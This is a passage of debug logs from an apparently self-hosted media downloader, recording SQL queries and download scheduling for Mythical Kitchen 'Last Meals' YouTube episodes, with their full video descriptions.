Iglesias Eats His Last Meal", "https://www.youtube.com/watch?v=isED-J6FRI0", "isED-J6FRI0", 1883, false, "/downloads/Last Meals/2023-07-06 Gabriel Iglesias Eats His Last Meal/Gabriel Iglesias Eats His Last Meal [isED-J6FRI0].mp4", false, 1, ~U[2023-07-06 10:00:38Z]] 20:49:14.852 [debug] QUERY OK source="sources" db=0.0ms idle=682.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:14.852 [debug] QUERY OK source="media_profiles" db=0.0ms idle=15.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:14.852 [debug] QUERY OK source="media_items" db=0.0ms idle=14.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [103] 20:49:14.852 [info] Kicking off download for media item #103 (isED-J6FRI0) 20:49:14.853 [debug] QUERY OK source="tasks" db=0.0ms idle=0.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [102, 103, ~U[2026-03-28 00:49:14Z], ~U[2026-03-28 00:49:14Z]] 20:49:14.853 [debug] Current batch of media processed. Will check again in 1000ms 20:49:15.854 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mike Shinoda eats his last meal.\n\n0:00 Mike's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n2:28 How Often Do You Think About Death\n3:33 Reflect Vs. Distract\n4:29 1st Course\n6:19 Food Analogies In Linkin Park's Music\n7:28 From Zero\n10:12 A Blue Rapping Smurf\n13:11 Almost Getting Kicked Out Of The Band\n14:47 Being The Glue\n16:36 2nd Course\n18:42 Signing A Baby In Malaysia\n20:08 The Story Behind Kenji\n26:24 Floating Monks\n26:55 3rd Course\n27:50 Stop Gatekeeping Recipes\n28:33 Choosing Emily\n29:56 Chester's Celebration Of Life\n33:01 The Impact Of Linkin Park\n34:09 What Do You Think Happens When You Die?\n36:18 Lightning Round\n38:00 Mike's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2365, "filename" => "/downloads/Last Meals/2025-01-07 Linkin Park's Mike Shinoda Eats His Last Meal/Linkin Park's Mike Shinoda Eats His Last Meal [1I8LiVAyYVg].mp4", "id" => "1I8LiVAyYVg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1I8LiVAyYVg", "playlist_index" => 89, "timestamp" => 1736247604, "title" => "Linkin Park's Mike Shinoda Eats His Last Meal", "upload_date" => "20250107"} 20:49:15.855 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:15.855 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:15.856 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-07 11:00:04Z], 1] 20:49:15.858 [debug] QUERY OK source="media_items" db=1.7ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mike Shinoda eats his last meal.\n\n0:00 Mike's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n2:28 How Often Do You Think About Death\n3:33 Reflect Vs. Distract\n4:29 1st Course\n6:19 Food Analogies In Linkin Park's Music\n7:28 From Zero\n10:12 A Blue Rapping Smurf\n13:11 Almost Getting Kicked Out Of The Band\n14:47 Being The Glue\n16:36 2nd Course\n18:42 Signing A Baby In Malaysia\n20:08 The Story Behind Kenji\n26:24 Floating Monks\n26:55 3rd Course\n27:50 Stop Gatekeeping Recipes\n28:33 Choosing Emily\n29:56 Chester's Celebration Of Life\n33:01 The Impact Of Linkin Park\n34:09 What Do You Think Happens When You Die?\n36:18 Lightning Round\n38:00 Mike's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Linkin Park's Mike Shinoda Eats His Last Meal", "e8433de2-59a9-4b0d-90df-c8117f06e3dc", "https://www.youtube.com/watch?v=1I8LiVAyYVg", false, "1I8LiVAyYVg", 2365, false, 89, "/downloads/Last Meals/2025-01-07 Linkin Park's Mike Shinoda Eats His Last Meal/Linkin Park's Mike Shinoda Eats His Last Meal [1I8LiVAyYVg].mp4", false, false, 1, [], 0, ~U[2025-01-07 11:00:04Z], ~U[2026-03-28 00:49:15Z], ~U[2026-03-28 00:49:15Z], "Today, Mike Shinoda eats his last meal.\n\n0:00 Mike's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n2:28 How Often Do You Think About Death\n3:33 Reflect Vs. Distract\n4:29 1st Course\n6:19 Food Analogies In Linkin Park's Music\n7:28 From Zero\n10:12 A Blue Rapping Smurf\n13:11 Almost Getting Kicked Out Of The Band\n14:47 Being The Glue\n16:36 2nd Course\n18:42 Signing A Baby In Malaysia\n20:08 The Story Behind Kenji\n26:24 Floating Monks\n26:55 3rd Course\n27:50 Stop Gatekeeping Recipes\n28:33 Choosing Emily\n29:56 Chester's Celebration Of Life\n33:01 The Impact Of Linkin Park\n34:09 What Do You Think Happens When You Die?\n36:18 Lightning Round\n38:00 Mike's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Ther (truncated) 20:49:15.858 [debug] QUERY OK source="sources" db=0.2ms idle=687.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:15.859 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:15.859 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [104] 20:49:15.860 [info] Kicking off download for media item #104 (1I8LiVAyYVg) 20:49:15.862 [debug] QUERY OK source="tasks" db=0.1ms idle=2.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [103, 104, ~U[2026-03-28 00:49:15Z], ~U[2026-03-28 00:49:15Z]] 20:49:15.862 [debug] Current batch of media processed. Will check again in 1000ms 20:49:16.862 [debug] Current batch of media processed. Will check again in 1000ms 20:49:17.863 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, William H. Macy eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Bill's Last Meal\n1:23 Have You Thought About Your Last Meal Before?\n3:36 How Often Do You Think About Death?\n4:02 1st Course\n4:46 Riding Horses In Africa\n6:46 A Stubborn Vegan\n7:37 Happy Texas\n8:25 Woody Creek Distillery\n9:29 Train Dreams & The American Spirit\n10:52 Defining Wisdom\n12:37 How Bill Picks His Roles\n14:01 2nd Course\n16:08 Shameless Was My 10,000 Hours\n19:48:00 Being An Actor\n22:17 Shameless Mini Golf Field Trip\n25:59 Never Give Up On Your Characters\n26:24 3rd Course\n29:29 Finding The Perfect Side Quest\n34:06 Crying More\n37:08 Visited By The Muse\n38:38 Plans For The Future\n39:29 What Do You Think Happens When You Die?\n40:40 Lightning Round\n43:19 Bill's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2641, "filename" => "/downloads/Last Meals/2025-11-13 William H. Macy Eats His Last Meal/William H. Macy Eats His Last Meal [6inDQO2ughI].mp4", "id" => "6inDQO2ughI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6inDQO2ughI", "playlist_index" => 90, "timestamp" => 1763031613, "title" => "William H. Macy Eats His Last Meal", "upload_date" => "20251113"} 20:49:17.864 [debug] QUERY OK source="sources" db=0.1ms idle=806.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:17.864 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=806.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:17.865 [debug] QUERY OK source="media_items" db=0.3ms idle=807.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-13 11:00:13Z], 1] 20:49:17.867 [debug] QUERY OK source="media_items" db=1.2ms idle=808.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, William H. Macy eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Bill's Last Meal\n1:23 Have You Thought About Your Last Meal Before?\n3:36 How Often Do You Think About Death?\n4:02 1st Course\n4:46 Riding Horses In Africa\n6:46 A Stubborn Vegan\n7:37 Happy Texas\n8:25 Woody Creek Distillery\n9:29 Train Dreams & The American Spirit\n10:52 Defining Wisdom\n12:37 How Bill Picks His Roles\n14:01 2nd Course\n16:08 Shameless Was My 10,000 Hours\n19:48:00 Being An Actor\n22:17 Shameless Mini Golf Field Trip\n25:59 Never Give Up On Your Characters\n26:24 3rd Course\n29:29 Finding The Perfect Side Quest\n34:06 Crying More\n37:08 Visited By The Muse\n38:38 Plans For The Future\n39:29 What Do You Think Happens When You Die?\n40:40 Lightning Round\n43:19 Bill's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "William H. Macy Eats His Last Meal", "2fd9a6ba-92c4-45f1-b124-97ab7ce7dc09", "https://www.youtube.com/watch?v=6inDQO2ughI", false, "6inDQO2ughI", 2641, false, 90, "/downloads/Last Meals/2025-11-13 William H. Macy Eats His Last Meal/William H. Macy Eats His Last Meal [6inDQO2ughI].mp4", false, false, 1, [], 0, ~U[2025-11-13 11:00:13Z], ~U[2026-03-28 00:49:17Z], ~U[2026-03-28 00:49:17Z], "Today, William H. Macy eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Bill's Last Meal\n1:23 Have You Thought About Your Last Meal Before?\n3:36 How Often Do You Think About Death?\n4:02 1st Course\n4:46 Riding Horses In Africa\n6:46 A Stubborn Vegan\n7:37 Happy Texas\n8:25 Woody Creek Distillery\n9:29 Train Dreams & The American Spirit\n10:52 Defining Wisdom\n12:37 How Bill Picks His Roles\n14:01 2nd Course\n16:08 Shameless Was My 10,000 Hours\n19:48:00 Being An Actor\n22:17 Shameless Mini Golf Field Trip\n25:59 Never Give Up On Your 